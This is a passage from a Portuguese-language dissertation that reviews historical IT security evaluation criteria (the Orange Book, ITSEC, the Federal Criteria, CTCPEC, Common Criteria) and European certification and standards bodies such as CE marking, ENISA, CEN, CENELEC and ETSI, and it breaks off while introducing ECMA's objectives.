Nas décadas de 80 e 90, o Governo Americano, publicou uma série de normas de segurança informática com a nomenclatura de Rainbow Series (também designados de Rainbow Books), designação que se deve ao facto que cada publicação tinha uma capa de cor diferente, sendo que a principal e a partir da qual as outras surgiram foi o Orange Book [19] [20].

Foi a partir de 1983 que começou a ser elaborado o que em 1985 seria a norma de segurança designada de Trusted Computer System Evaluation Criteria – TCSEC ou Orange Book. Os critérios definidos neste manual classificavam os sistemas automáticos de processamento de Informação em divisões hierárquicas de proteção e segurança, tal como forneciam uma base para avaliar a eficácia dos controlos de segurança embutidos nesses sistemas. Estes critérios foram implementados com os objetivos de [18]:

Fornecer normas aos fabricantes com o objetivo de lhes apresentar que medidas de segurança deveriam ser implementadas nos seus produtos, de modo a que pudessem fornecer sistemas com alto grau de disponibilidade e confiança, como por exemplo o Governo; Fornecer ao DoD componentes com uma métrica capaz de avaliar qual o grau de confiança que deveria ser depositado nos seus sistemas informáticos a fim de processarem Informação sensível e classificada; Fornecer uma base para se especificarem requisitos de segurança aquando das especificações para aquisição de sistemas informáticos.

O TCSEC era então um conjunto de requisitos básicos para avaliar a eficácia dos controlos de segurança implementados em sistemas informáticos, de modo a que pudessem ser utilizados pelo DoD, classificando e selecionando estes sistemas para atestar a sua segurança para o processamento e armazenamento de Informação sensível e classificada. Desta forma muitos fabricantes implementaram nas suas linhas de montagem, técnicas e sistemas de auditoria com base nas especificações do Orange Book para que os seus produtos pudessem satisfazer os requisitos do Orange Book [18].

Os produtos eram avaliados segundo quatro Classes principais pré-definidas, como ilustra a Tabela que se segue, entre a Classe D e a Classe A, representando um intervalo de um menor para um maior grau de proteção respetivamente.

.



22 .

Funcionalidade de Segurança e Garantia Classe Divisão Designação

Maior protecção Menor protecção

A A1 Verified Design

B B3 Security Domains B2 Structured Protection B1 Labeled Security Protection

C C2 Controlled Access Protection C1 Discretionary Security Protection

D D Minimal Protection

Tabela 1 - Classes do Orange Book

Estas Classes definiam pacotes de funcionalidades (mecanismos de segurança do produto) e garantia (o nível de confiança que os mecanismos de segurança funcionam corretamente e como intencionado) que eram atribuídas aos produtos avaliados segundo o TCSEC [18].

Outros documentos que emergiram das Rainbow Series foram por exemplo o Glossary of Computer Security Terms (um Glossário para Termos de Segurança Informática), A Guide to Understanding Audit in Trusted Systems (um Guia para Entender Auditorias em Sistemas Seguros), Identification and Authentication in Trusted System (Identificação e Autenticação em Sistemas Seguros), Certification and Accreditation Concepts (Conceitos sobre Certificação e Acreditação), entre outros documentos relacionados com a segurança [20].

De destacar o Trusted Network Interpretation of the TCSEC - TNI ou Red Book publicado primeiramente em 1987, o qual na sua primeira parte fornecia uma interpretação do TCSEC para questões relacionadas com sistemas informáticos e de comunicações. As funcionalidades de segurança, os requisitos de confiança, e a estrutura de classificação do TCSEC eram aqui alargadas às redes de computadores, desde pequenas redes isoladas até sistemas de grandes redes interligadas. Numa segunda parte, o Red Book fornecia um número de serviços de segurança adicionais (como por exemplo integridade das comunicações, segurança na transmissão, DDoS) que surgem em conjunto com as redes de computadores e que não eram avaliados com o mesmo grau de detalhe no TCSEC [21].

Em 1990 é publicada uma nova versão do Red Book com a designação Trusted Network Interpretation Environments Guideline - TNIEG, com o objetivo de abordar questões relacionadas com a proteção e segurança requeridas em diferentes ambientes de rede, e desta forma complementar tanto o TCSEC como o TNI nestas questões relacionadas com redes de computadores [22].

Embora sejam consideradas como uma forte influência na implementação de medidas de segurança, estas normas encontram-se hoje em dia em desuso, sendo que na maior parte dos casos foram substituídas pelo Common Criteria, o qual será abordado mais à frente nesta Dissertação.

.



23 .

2.3. ITSEC - Information Technology Security Evaluation Criteria

Do lado Europeu, surgiu então o Information Technology Security Evaluation Criteria - ITSEC como resposta ao Trusted Computer System Evaluation Criteria. O ITSEC era um modelo de avaliação estruturado de Segurança de Sistemas Informáticos, e foi publicado em 1990 depois da França, Alemanha, Holanda e Reino Unido com base nos seus próprios trabalhos nesta área, decidirem que deveria existir uma harmonização e um reconhecimento das normas de segurança a uma escala Europeia, pegando assim nos modelos de cada País, e dissecando o que cada um tinha de melhor para formar um documento único. Em 1991 foi publicada uma nova versão altura em que muitos países europeus concordaram em reconhecer a validade destes critérios de avaliação [23].

Neste manual era referido que os utilizadores de Sistemas de Informação necessitavam de confiar nesses sistemas através da possibilidade de medir e comparar as suas funcionalidades e caraterísticas. Também era referido que embora existisse sempre um grau de confiança nos fabricantes ou fornecedores dos sistemas e produtos em questão, seria expectável que os utilizadores finais, fossem eles particulares, empresariais, governamentais ou de qualquer outro sector, pudessem ter acesso a uma opinião independente e imparcial por parte de terceiros. Esta avaliação dos sistemas ou produtos informáticos contemplaria critérios de segurança e objetivos bem definidos e a existência de um “Corpo de Certificação” que pudesse confirmar e certificar a avaliação efetuadas [23].

O ITSEC já referia que para um determinado Sistema de Informação, a avaliação das suas capacidades de Segurança deveria ser vista como uma parte de um procedimento mais formal, que permitisse aceitar que esse Sistema pudesse ser utilizado num ambiente em que os requisitos de segurança fossem elevados. Acreditação deveria ser o termo utilizado para descrever este procedimento, e deveriam ser considerados um determinado número de fatores antes que o Sistema pudesse ser visto como apto para o seu objetivo. Os critérios definidos no ITSEC referiam maioritariamente aspetos relacionados com medidas técnicas de segurança, embora também existissem referências a aspetos não-técnicos tais como a segurança de procedimentos com pessoal, segurança física e processual, entre outros [23].

O ITSEC tinha então o objetivo de definir uma base de critérios harmonizados, que fornecessem uma base para a Certificação de Sistemas e Produtos Informatizados, para que as entidades de cada País que o reconhecesse pudessem seguir.

Figura 2 - Information Technology Security Evaluation Criteria (Fonte: [23])

.



24 .

À semelhança do caso Americano, também o ITSEC foi grandemente descontinuado e substituído pelo Common Criteria.

2.4. US Combined Federal Criteria

Em 1992, os Estados Unidos da América começaram a trabalhar num sucessor do TCSEC, com o objetivo de se manterem atualizados e em acompanharem a evolução de outras normas internacionais. Este sucessor, o US Combined Federal Criteria foi produzido pelo National Institute for Standards and Technology - NIST e pela National Security Agency – NSA [24].

O US Combined Federal Criteria introduziu as notações de Security Target - ST (meta da avaliação) e Protection Profile - PP (perfil de proteção). Os utilizadores elaborariam um PP para detalhar as suas necessidades de proteção, quer a nível funcional quer a nível de garantia, para uma situação ou cenário específicos. O PP seria uma descrição abstrata dos aspetos relacionados com a segurança necessários num produto de TI [24].

Em resposta a um PP o fabricante desenvolveria um produto com os requisitos de segurança necessários para cumprir o PP, e mapearia esses requisitos para um ST que seria a base da avaliação. Enquanto o PP seria uma descrição abstrata de requisitos de segurança, o ST seria uma descrição detalhada de como esses requisitos deveriam ser alcançados [24].

Este critério também documentava uma lista de potenciais requisitos abrangendo tópicos como reutilização de objetos, análise de canais ocultos, tolerância a falhas, entre outros [24].

O US Combined Federal Criteria teve apenas uma edição em versão de projeto (draft), sendo que depois de receber algumas críticas por parte de diversos setores ligados aos produtos TI e ao Governo, os Estados Unidos anunciaram que iriam unir esforços com o Canadá e com a equipa que produzira o ITSEC, a fim de desenvolverem um novo critério de avaliação que fosse utilizado mundialmente. Surgiriam assim as primeiras versões do Common Criteria [24].

.



25 .

2.5. CTCPEC - Canadian Trusted Computer Product Evaluation Criteria

O Canadian Trusted Computer Product Evaluation Criteria - CTCPEC era uma combinação do Trusted Computer System Evaluation Criteria e do Information Technology Security Evaluation Criteria, publicado em 1993 pelo Communications Security Establishment Canada, uma agência governamental destinada a proteger a informação eletrónica e redes de comunicações governamentais [25].

Os objetivos do CTCPEC eram os de criar um conjunto de critérios que incorporassem integridade, garantia, responsabilidade, confidencialidade e disponibilidade ao mesmo tempo que mantinham a compatibilidade com o TCSEC [26].

Enquanto o TCSEC foi iniciado e continuou virado para uma vertente mais militar, descurando muitas vezes as principais exigências do mercado comum, o CTCPEC pretendia generalizar mais, ou seja, apresentar uma alternativa genérica de critérios de segurança que toda a comunidade pudesse seguir [26].

Outra generalização incluía a arquitetura dos sistemas. O TCSEC tinha como objetivo especialmente os sistemas operativos monolíticos, enquanto o CTCPEC era mais orientado para sistemas distribuídos e em rede. O Critério de Avaliação Canadiano tinha como objetivo reestruturar o Americano, retirando deste algumas vertentes entretanto desatualizadas, o cariz essencialmente militar e acrescentando novas medições e novas ideias que beneficiassem tanto o governo como a indústria.

O CTCPEC, à semelhança dos seus congéneres americano e europeu, foi na grande maioria dos casos descontinuado e substituído pelo Common Criteria.

2.6. Evolução dos Critérios de Avaliação

Embora os critérios de avaliação referidos nas Secções anteriores possam ainda ser utilizados hoje em dia por algumas entidades, a sua evolução aponta para uma maior flexibilidade na especificação dos alvos de avaliação sendo possível avaliar um cada vez maior número de produtos, para uma maior abrangência de metas de avaliação, cobrindo diferentes objetivos e diferentes áreas da sociedade.

Figura 3 - Communications Security Establishment Canada (Fonte: http://en.wikipedia.org/wiki/Communications_Security_Establishment)

.



26 .

Estas características fazem com que uma uniformização de critérios seja fundamental, e a grande maioria dos organismos e empresas a nível mundial opta pela utilização de um critério que seja reconhecido e que tenha aceitação no maior número de países possível.

Antes de adoção do Common Criteria - CC, muitos fabricantes tinham necessidade de avaliar os seus produtos segundo diferentes critérios a fim de obter certificação de modo a satisfazer os requisitos de diferentes entidades. Esta situação podia variar consoante o país ou consoante o critério adotado. Desta forma, os produtos por vezes tinham que ser adaptados de modo a cumprir com os diferentes requisitos dos diferentes critérios.

Com a aceitação por parte da International Organization for Standardization - ISO, o Common Criteria tende cada vez mais a tornar-se o critério mundial para avaliações e especificações de segurança, tornando assim a sua aceitação e reconhecimento dos seus resultados mais simples e com maiores vantagens para todas as partes envolvidas no processo, desde fabricantes, a consumidores finais.

Em 1998 foi assinado o Acordo Internacional Common Criteria Recognition Arrangement - CCRA entre vários países, o qual teve como objetivo que os países que aceitassem o CC como critério aceitariam entre si os produtos certificados segundo este critério sem a necessidade de novas avaliações. O Acordo estabelece as bases para a confiança que cada país tem na validade da Certificação efetuada por outro, ou seja, nos Laboratórios e nas Entidades que efetuam a acreditação e certificação desses testes e avaliações. Atualmente, o CC é o Critério de Avaliação mais utilizado, e será abordado com mais detalhe à frente nesta Dissertação.

Alemanha França Holanda Reino Unido

ITSEC

TCSEC

CTCPEC

TCSEC CC

Federal Criteria

ISO15408

Figura 4 - Evolução dos Critérios de Avaliação

.


27 .

Capítulo 3 Situação Internacional

Este Capítulo enuncia as principais e mais recentes iniciativas, normas e documentação relacionadas com a Segurança da Informação e de Equipamento Informático levadas a cabo a nível internacional.

.


Capítulo 3 – Situação Internacional

28 .

3.1. Enquadramento

Efetuado o enquadramento da Dissertação e vistos os primeiros aspetos e documentos relacionados com a evolução histórica da Segurança da Informação e de Equipamento Informático, este Capítulo tem como objetivo abordar e descrever de forma sucinta as principais e mais atuais iniciativas, normas e documentação ao nível dos aspetos relacionados com a Segurança da Informação e de Equipamento Informático levadas a cabo a nível Internacional.

3.2. Manual de Talin sobre a Lei Internacional aplicável à Ciberguerra

As Ciberoperações começaram a despertar a atenção da comunidade internacional nos anos 90. De entre os eventos e aspetos mais significativos destaca-se uma conferência sobre ataques a redes de computadores e leis internacionais em 1999 organizada pelo Colégio Naval Americano. Em 2001, depois dos ataques de 11 de setembro, alguma da atenção sobre estes temas foi desviada para questões mais relacionadas com a guerra tradicional, até que em 2007 os Ciberataques contra a Estónia e em 2008 contra a Geórgia, durante o período de conflito com a Federação Russa, tal como em 2010 os incidentes com as centrais de enriquecimento de urânio no Irão, através do Stuxnet, voltaram a colocar prioridade no tratamento de questões relacionadas com as Ciberoperações e a Ciberguerra [27].

Um dos desafios que as nações enfrentam é perceber qual o âmbito e de que forma as leis internacionais podem ser aplicadas no Ciberespaço, quer seja em termos ofensivos ou defensivos. A questão principal será perceber se as leis atuais se aplicam ao Ciberespaço, e se sim, de que forma. As opiniões vão desde a total aplicação das leis internacionais sobre conflitos armados de acordo com as linhas orientadoras do Tribunal Internacional de Justiça que afirmam que essas leis se aplicam a “qualquer uso da força, independentemente do tipo de armas utilizado”. Por outro lado, existem opiniões de que deve ser aplicada a orientação do Tribunal Permanente de Justiça Internacional que afirma que “atos não proibidos nas leis internacionais são geralmente permitidos” [27].

Em 2009 o Centro de Excelência Cooperativo de Ciberdefesa da NATO (Cooperative Cyber Defense Centre of Excellence – NATO CCD COE) um organismo militar

Figura 5 - Manual de Talin (Fonte: [27])

.



29 .

internacional da NATO, situado em Talin na Estónia, convidou um grupo internacional de peritos independentes com o objetivo de produzirem um manual sobre que lei internacional poderia ser aplicada à Ciberguerra. Este projeto reuniu especialistas em direito e académicos num esforço para examinar que leis e normas poderiam ser aplicadas a esta “nova forma de guerra”. O “Manual on the International Law Applicable to Cyber Warfare” ou “Tallinn Manual” resulta desse esforço, e tem como objetivo ser uma ferramenta de uso gratuito, para questões relacionadas com a aplicação das leis atuais a assuntos relacionados com a Ciberguerra [27].

O Tallinn Manual não é um manual sobre Cibersegurança, mas um manual que examina as leis internacionais para efetuar o paralelismo com questões relacionadas com Ciberguerra. A ênfase neste manual é dada às Ciberoperações, como por exemplo o lançamento de um ataque por parte de uma nação a outra com o objetivo de fragilizar ou destruir infraestruturas ou Informação críticas.

Este manual não é um documento oficial mas sim o resultado de uma análise por um grupo de especialistas com recomendações que os mesmos consideram ser as mais adequadas neste domínio das Ciberoperações e Ciberguerra.

3.3. Sistema de Certificação na União Europeia

Em termos de Certificação na União Europeia, embora não exista um Sistema específico para a Certificação de Idoneidade de Equipamento Informático, existem alguns sistemas que garantem que determinados produtos cumprem com determinados requisitos.

3.3.1. Marcação CE – Indicativo de Conformidade

A nível europeu existe um indicativo de conformidade que é a Marcação CE. Esta marcação simboliza a conformidade com todas as obrigações que incumbem aos fabricantes relativamente aos seus produtos por força de determinadas diretivas comunitárias.

O Mercado Único é uma das grandes realizações da nossa era. Este espaço económico, em que bens, serviços, capital e trabalho podem circular livremente, oferece uma base à prosperidade na União Europeia [28].

Figura 6 - Marcação CE - Indicativo de Conformidade (Fonte: http://eur-lex.europa.eu/)

.



30 .

A Marcação CE é apenas uma das formas de harmonização e unificação de procedimentos, normas e legislação com o propósito de concretização do “mercado interno europeu” promovendo um desenvolvimento económico e social harmonioso entre os diversos estados-membros. Por esta razão, a própria Comissão Europeia considera a Marcação CE como um “passaporte” que permite a livre e legal circulação de mercadorias dentro das suas fronteiras de acordo com os seus padrões de qualidade e segurança, para as pessoas e o meio ambiente [28].

A União Europeia - UE desenvolveu instrumentos originais e inovadores para eliminar as barreiras à livre circulação de mercadorias. Entre estas, destacam-se a Nova Abordagem, para a regulamentação dos produtos, e a Abordagem Global para a avaliação da conformidade. O que estas abordagens complementares têm em comum é o facto de limitarem a intervenção pública ao essencial, deixando à indústria a maior amplitude de escolha possível quanto ao modo como deve cumprir as suas obrigações públicas. Desde 1987, entraram progressivamente em vigor cerca de 20 Diretivas, adotadas com base na Nova Abordagem e na Abordagem Global [28].

Estas Diretivas são aplicáveis a produtos destinados a ser colocados (ou entrar em serviço) pela primeira vez no mercado comunitário. Consequentemente, as Diretivas são aplicáveis a produtos novos fabricados nos Estados-Membros e a produtos novos ou usados, importados de países terceiros [28].

A Nova Abordagem implicou uma sofisticação da avaliação da conformidade, de modo a permitir que o legislador comunitário avalie as consequências da utilização de diferentes mecanismos de avaliação da conformidade. O objetivo é dar flexibilidade à avaliação da conformidade, ao longo de todo o processo de fabrico, de modo que ela se adapte às necessidades de cada uma das operações. A Abordagem Global introduziu uma abordagem modular, que subdividiu a avaliação da conformidade em várias operações (módulos). Estes módulos diferem entre si consoante o estado de desenvolvimento do produto (por exemplo, conceção, protótipo, produção em pleno), o tipo de avaliação envolvido (por exemplo, verificações documentais, aprovação do tipo, garantia de qualidade), e a pessoa que realiza a avaliação (o fabricante ou um terceiro) [28].

A Abordagem Global foi completada pela Decisão do Conselho 90/683/CEE, posteriormente substituída e atualizada pela Decisão 93/465/CEE. Estas decisões estabelecem orientações gerais e procedimentos pormenorizados para a avaliação da conformidade a utilizar nas diretivas Nova Abordagem. Deste modo, a avaliação da conformidade é baseada [28]:

Nas atividades do fabricante em matéria de controlo interno da conceção dos produtos e do respetivo fabrico;

.



31 .

Exame “CE de tipo” por um terceiro, combinado com as atividades do fabricante em matéria de controlo interno de fabrico; Exame “CE de tipo” ou de conceção por um terceiro, combinado com a aprovação por um terceiro dos sistemas de garantia de qualidade da produção ou dos produtos, ou verificação do produto por um terceiro; Verificação da unidade por um terceiro, em relação à conceção e à produção;

Para além de estabelecer as orientações para a utilização dos procedimentos da avaliação de conformidade previstos nas diretivas de harmonização técnica, a Decisão 93/465/CEE harmoniza as regras de aposição e utilização da marcação CE [28].

Quando determinado produto detém esta Marcação CE, constitui uma declaração da entidade que a colocou, de que o produto ou equipamento está conforme todas as disposições aplicáveis e de que foi objeto dos processos de avaliação de conformidade adequados. A Marcação CE é obrigatória para todos os produtos ou equipamentos que são abrangidos pelo âmbito de uma ou mais Diretivas Nova Abordagem. Esta Marcação é introduzida pelo fabricante ou mandatário após a realização dos procedimentos de avaliação da conformidade. As Diretivas estabelecem se a avaliação da conformidade pode ser realizada pelo fabricante ou se é requerida a intervenção de uma terceira entidade para esse efeito [28].

A Figura que se segue ilustra um exemplo de um equipamento sem a marcação de conformidade CE.

Figura 7 - Rato Microsoft sem marcação de conformidade CE

.



32 .

A Figura que se segue ilustra um exemplo de um equipamento com a marcação de conformidade CE.

Figura 8 - Router ZTE com marcação de conformidade CE

O conceito de produto varia entre as Diretivas Nova Abordagem, sendo que os objetos abrangidos pelas Diretivas são referidos, designadamente, como produtos, equipamentos, aparelhos, dispositivos, eletrodomésticos, instrumentos, material, conjuntos, componentes, componentes de segurança, unidades, instalações, acessórios ou sistemas. É ao fabricante que incumbe a responsabilidade de verificar se o seu produto está ou não abrangido pelo campo de aplicação de uma Diretiva. Uma combinação de produtos e de peças, em que cada elemento está conforme com as Diretivas aplicáveis, nem sempre tem de estar conforme no seu todo. Contudo, em alguns casos, uma combinação de diferentes produtos e partes concebidos ou montados pela mesma entidade é considerada como um produto acabado e que, como tal, tem de estar em conformidade com uma Diretiva [28].

A avaliação da conformidade por terceiros é efetuada pelos organismos notificados, que foram designados pelos Estados-Membros de entre os organismos que preenchem os requisitos fixados na Diretiva em causa e estão estabelecidos no seu território. Os fabricantes que recorrerem ao seu próprio método devem fornecer um relatório técnico, que inclui por vezes relatórios de agências de avaliação reconhecidas, sobre a conformidade do equipamento [28].

A Declaração CE de Conformidade deve conter todas as informações relevantes para identificar as Diretivas em que a sua emissão é baseada, bem como o fabricante, o seu

.



33 .

mandatário, eventualmente o organismo notificado, o produto e, se for caso disso, uma referência às normas harmonizadas ou outros documentos normativos [28].

Os procedimentos para a aposição da Marcação CE num produto são [29]:

Diretivas: o fabricante deve em primeiro lugar verificar se o seu produto se insere em alguma das Diretivas; Verificação de Requisitos: de seguida, deve consultar a Diretiva e verificar quais os requisitos a que o produto deve obedecer; Necessidade de Organismo Notificado: o fabricante pode procurar apoio junto de um organismo notificado, mas a responsabilidade final será sempre sua no que toca a declarar que o seu produto satisfaz a Diretiva na qual se enquadra; Verificação de Conformidade: o fabricante deve implementar procedimentos de controlo que verifiquem que todo o processo de fabrico do produto vai de encontro à Diretiva, através da constante verificação de conformidade. No final, deve ser produzido um documento de Declaração de Conformidade; Documentação Técnica: a documentação técnica deverá permitir a avaliação da conformidade do produto segundo os requisitos da Diretiva e deverão abranger as fases de desenho e implementação, produção e operação do produto; Aposição da Marcação CE: uma vez realizados com sucesso os passos anteriores, a Marcação CE pode ser afixada no produto. Esta marca deve respeitar as normas presentes na respetiva legislação, que passam por dimensão, visibilidade, entre outros fatores.

Mais concretamente para esta Dissertação, e no que concerne a equipamentos informáticos, para a aposição da Marcação CE verificou-se que estes se inserem na Diretiva 2006/95/CE - Equipamento elétrico de baixa tensão. Esta Diretiva destina-se a assegurar o mais elevado nível de segurança para equipamento elétrico de baixa tensão e a harmonizar as regras que governam a sua comercialização na UE. A Diretiva especifica que o equipamento elétrico de baixa tensão não deve comprometer a segurança de pessoas, animais ou propriedade quando devidamente instalado, mantido e usado nas aplicações a que se destinam [29].

Para que um determinado equipamento informático disponha da Marcação CE e cumpra a respetiva Diretiva 2006/95/CE, não implica no entanto a realização de testes e avaliações comportamentais específicas em Laboratório, que atestem a sua idoneidade como estando livre de malware.

.



34 .

3.3.2. European Network and Information Security Agency - ENISA

A ENISA – European Network and Information Security Agency é uma agência, criada em 2004, com o objetivo de melhorar a Segurança da Informação e das Redes na UE. A utilização de redes de comunicação contribui para um bom funcionamento dos mercados da UE, e afeta milhões de utilizadores que utilizam estas redes para operações de comércio eletrónico, transações bancárias, comunicações móveis, entre outras operações. Assim, a missão desta Agência torna-se essencial para que se consiga um alto e efetivo nível de Segurança da Informação e das Redes dentro da UE [30].

A ENISA procura, em conjunto com outras Instituições da UE e os Estados Membros, desenvolver e divulgar uma cultura que promova a Segurança da Informação e das Redes para benefício dos cidadãos em geral, consumidores, organizações, empresas, sector publico, entre outros, dentro da UE. Esta Agência fornece apoio à Comissão Europeia, aos Estados Membros e à comunidade empresarial, para abordar, responder e especialmente evitar problemas relacionados com Segurança da Informação e das Redes [30].

Deste modo, a função na ENISA é a de promover e melhorar as capacidades de Cibersegurança dentro da UE e dos seus Estados Membros, dentro da comunidade empresarial para que se possam prevenir, tratar e responder a desafios de Segurança da Informação e das Redes. Para alcançar estes objetivos, as principais atividades desta Agência são [30]:

Assessoria e Assistência à Comissão Europeia e aos Estados Membros nos assuntos relacionados com a Segurança da Informação e no diálogo com a indústria no que concerne a assuntos relacionados com a segurança em produtos de hardware e software; Recolher e analisar dados relacionados com incidentes de segurança na UE; Promover métodos de gestão e avaliação de risco de forma a melhorar a capacidade de lidar com ameaças à segurança; Promover a sensibilização e cooperação entre diferentes entidades no campo da Segurança da Informação.

Esta Agência disponibiliza as suas publicações, que abrangem tópicos relacionados com a Segurança tais como Boas Práticas, Consciência de Riscos, Privacidade e Confidencialidade, Consciencialização em Segurança de Informação e de Rede, Cooperação, entre outros [30].

Figura 9 - European Network and Information Security Agency (Fonte: http://www.enisa.europa.eu/)

.



35 .

O Work Programme, que é publicado anualmente, sendo a sua última versão de novembro de 2012, é o Documento oficial onde são traçados os principais vetores de atuação da ENISA.

A ENISA é portanto um corpo com conhecimentos específicos, que desenvolve tarefas específicas no campo da Segurança da Informação e das Redes, ao mesmo tempo que assiste a Comissão Europeia no trabalho técnico de atualização e desenvolvimento de legislação comunitária neste campo.

3.3.3. European Committee for Standardization - CEN

O European Committee for Standardization - CEN foi oficialmente criado em 1975 como uma organização sem fins Lucrativos com sede em Bruxelas. Este Comité deve ser entendido como um facilitador de negócios na Europa, removendo barreiras para os consumidores e indústria neste espaço. A sua missão é promover a economia europeia no comércio global tal como potenciar o bem-estar dos cidadãos e do meio ambiente. Através dos seus serviços deve providenciar uma plataforma para o desenvolvimento de Normas Europeias tal como outras especificações técnicas, e é a única organização europeia reconhecida para a planificação, elaboração e adoção destas Normas em todas as áreas de atividade económica, com a exceção da área Eletrotécnica (European Committee for Electrotechnical Standardization - CENELEC) e das Tecnologias de Informação e Comunicação (European Telecommunications Standards Institute - ETSI) [31] que serão referidas adiante.

Os Membros do CEN são os Organismos Nacionais de Normalização dos 27 países da União Europeia, da Croácia, da Antiga República Jugoslava da Macedónia, da Turquia, da Islândia, da Noruega e da Suíça, os quais trabalham em conjunto no sentido de desenvolver Normas Europeias [31] .

A normalização na Europa é baseada nos Corpos Nacionais de Normalização da cada país, que fazem a ponte entre a normalização de cada um deles e a normalização a nível internacional (ISO). É responsabilidade dos membros do CEN implementar Normas Europeias como normas nacionais e resolver quaisquer conflitos que possam existir entre elas e outras normas a nível internacional [31].

Estas Normas têm estatuto único uma vez que também são Normas Nacionais nestes países, assim, os produtos podem alcançar marcados mais vastos com um menor

Figura 10 - European Committee for Standardization (Fonte: http://www.cen.eu/)

.



36 .

custo de desenvolvimento e testes associado. Num Mundo globalizado, a necessidade de Normas Internacionais faz todo o sentido. O Acordo de Viena, assinado pelos Membros do CEN em 1992 juntamente com a ISO asseguram cooperação técnica, representação mútua em reuniões e adoção dos mesmos textos tanto como uma Norma ISO ou uma Norma Europeia [31].

A visão do CEN é fornecer uma contribuição para a capacidade europeia em inovar, promover a competitividade global, promover o crescimento sustentável, e o bem-estar dos cidadãos sendo uma organização de referência no fornecimento de Normas em diversas áreas [31].

A missão do CEN passa por satisfazer as necessidades dos cidadãos através [31]:

Sendo um dos principais parceiros europeus no que diz respeito a normas, produtos e serviços para o benefício de todos os interessados, através de processos transparentes e equilibrados e baseados em consenso dentro de uma infraestrutura sustentável, através da promoção de produtos inovadores e tecnologias emergentes; Assegurando os requisitos de qualidade, segurança, interoperabilidade e sustentabilidade de produtos, serviços e organizações; Adaptando-se de forma proactiva a novos desenvolvimentos e suportando a competitividade europeia, a proteção do ambiente e o crescimento sustentável para o bem-estar dos cidadãos e fortalecimento do mercado interno; Promovendo o Sistema de Normalização Europeu e os seus resultados, de modo a liderar a implementação de boas práticas na normalização em todo o Mundo.

O CEN produz Guias que fornecem regras, orientações, conselhos e recomendações relacionadas com a normalização a nível europeu. Outra das publicações são os Relatório Técnicos, que são documentos informativos que fornecem informação sobre o conteúdo técnico de trabalho efetuado na área da normalização. O CEN também produz Normas Europeias, que fornecem as diretrizes e características para atividades ou para os seus resultados. Este processo é possível reunindo todas as partes envolvidas, ou seja, fabricantes, utilizadores, consumidores, reguladores, entre outros [31].

Desta documentação que é produzida, não existe no entanto nenhuma diretamente relacionada com a certificação de idoneidade de equipamento informático.

.



37 .

3.3.4. European Committee for Electrotechnical Standardization - CENLEC

O European Committee for Electrotechnical Standardization - CENELEC foi designado como uma Organização Europeia de Normalização pela Comissão Europeia, e é uma organização técnica sem fins lucrativos com sede na Bélgica responsável pela normalização na área eletrotécnica, preparando Normas que à semelhança do CEN, ajudam a facilitar o comércio entre diferentes países, criar novos mercados, cortar nos custos de desenvolvimento e testes e contribuir para o desenvolvimento de um Mercado Europeu Único mas também para um Mercado Internacional, adotando Normas Internacionais sempre que possível, através da sua estreita colaboração com a International Electrotechnical Commission - IEC através do Acordo de Dresden [32].

As Normas Europeias são sempre baseadas num consenso, que reflete os interesses sociais e económicos dos 33 Países (os mesmo que fazem parte do CEN) canalizados através dos seus Comités Eletrotécnicos Nacionais. A maioria das Normas é iniciada através da indústria, mas alguns outros projetos de normalização podem surgir dos consumidores, de associações ou até de legisladores [32].

Os principais compromissos do CENLEC são [32]:

Satisfazer as necessidades da indústria europeia e de outras partes interessadas na área da normalização e avaliação de conformidade nos campos da eletricidade, eletrónica e tecnologias associadas; Liderar na melhoria de todos os aspetos relacionados com a qualidade e segurança dos produtos e serviços nos campos da eletricidade, eletrónica e tecnologias associadas; Ajudar a IEC a atingir a sua missão, ou seja, ser globalmente reconhecida como fornecedora de normas e avaliações de conformidade e serviços associados, nos campos da eletricidade, eletrónica e tecnologias associadas.

O CENLEC produz Normas Europeias, que fornecem diretrizes e características para atividades ou para os seus resultados. Este processo é possível reunindo todas as partes envolvidas, ou seja, fabricantes, utilizadores, consumidores, reguladores, entre outros. Também produz Especificações Técnicas que são documentos normativos que fornecem orientação aos mercados sobre determinados produtos e sobre métodos de testes e avaliações. Também produz Relatórios Técnicos e Guias com regras, orientações, conselhos e recomendações relacionadas com a normalização a nível europeu [32].

Figura 11 - European Committee for Electrotechnical Standardization (Fonte: http://www.cenelec.eu/)

.



38 .

À semelhança do CEN, da documentação que é produzida, não existe nenhuma relacionada com a certificação de idoneidade de equipamento informático.

3.3.5. European Telecommunications Standards Institute - ETSI

O European Telecommunications Standards Institute - ETSI é uma organização sem fins lucrativos, com sede em França, e com mais de 700 organizações membro, resultantes de 62 países espalhados pelos 5 continentes. Este Instituto produz Normas para Tecnologias de Informação e Comunicação aplicáveis globalmente, incluindo tecnologias fixas, móveis, rádio, e internet. O ETSI conjuga fabricantes, operadores de rede, administrações nacionais, prestadores de serviços, organismos de investigação, entre outras entidades [33].

O objetivo do ETSI é produzir e realizar a manutenção das normas técnicas aceites e utilizadas pelos seus membros na área das Tecnologias de Informação e Comunicação. Tal como a maioria das outras organizações de normalização, muito do seu trabalho é levado a cabo por comités e grupos de trabalho compostos por técnicos e especialistas do próprio Instituto ou dos seus membros [33].

À semelhança do CEN e do CENLEC, o ETSI produz Normas Europeias, Especificações Técnicas, Relatórios Técnicos e Guias com regras, orientações, conselhos e recomendações relacionadas com a normalização a nível europeu, mas também não existe nenhuma documentação relacionada com a certificação de idoneidade de equipamento informático.

3.3.6. European Computer Manufacturers Association - ECMA International

A European Computer Manufacturers Association - ECMA é uma associação da indústria dos fabricantes de computadores, fundada em 1961 pelos

maiores fabricantes internacionais de computadores na altura presentes na Europa, com o objetivo de se dedicar à normalização das Tecnologias de Informação e Comunicação e Eletrónica de Consumo. Nesta altura a ECMA foi convidada a fazer-se

Figura 13 - ECMA International (Fonte: http://www.ecma-international.org/)

Figura 12 - European Telecommunications Standards Institute (Fonte: http://www.etsi.org/)

.



39 .

representar numa conferência em Genebra organizada pela ISO e pela IEC com o objetivo de discutir questões relacionadas com a normalização no seio do mundo informático. Desta conferência resultou a formação de um comité técnico, o ISO TC9713 e a organização dos seus grupos de trabalho, sendo que a ECMA foi convidada a fazer parte desses grupos como membro de ligação. Em 1987, o grupo TC97 passou a fazer parte da ISO/IEC JTC1 e a ECMA tornou-se membro de ligação tipo A do JTC1, o que lhe permite acelerar a comunicação entre a Associação e este Comité Conjunto [34].

Em 1994 devido à sua reputação e ao seu vasto conhecimento nestas áreas, o nome foi modificado para Ecma International uma vez que os membros da associação passaram a ser globais, desde a Asia, Austrália, Europa e América do Norte [34].

Os objetivos da Ecma International são [34]:

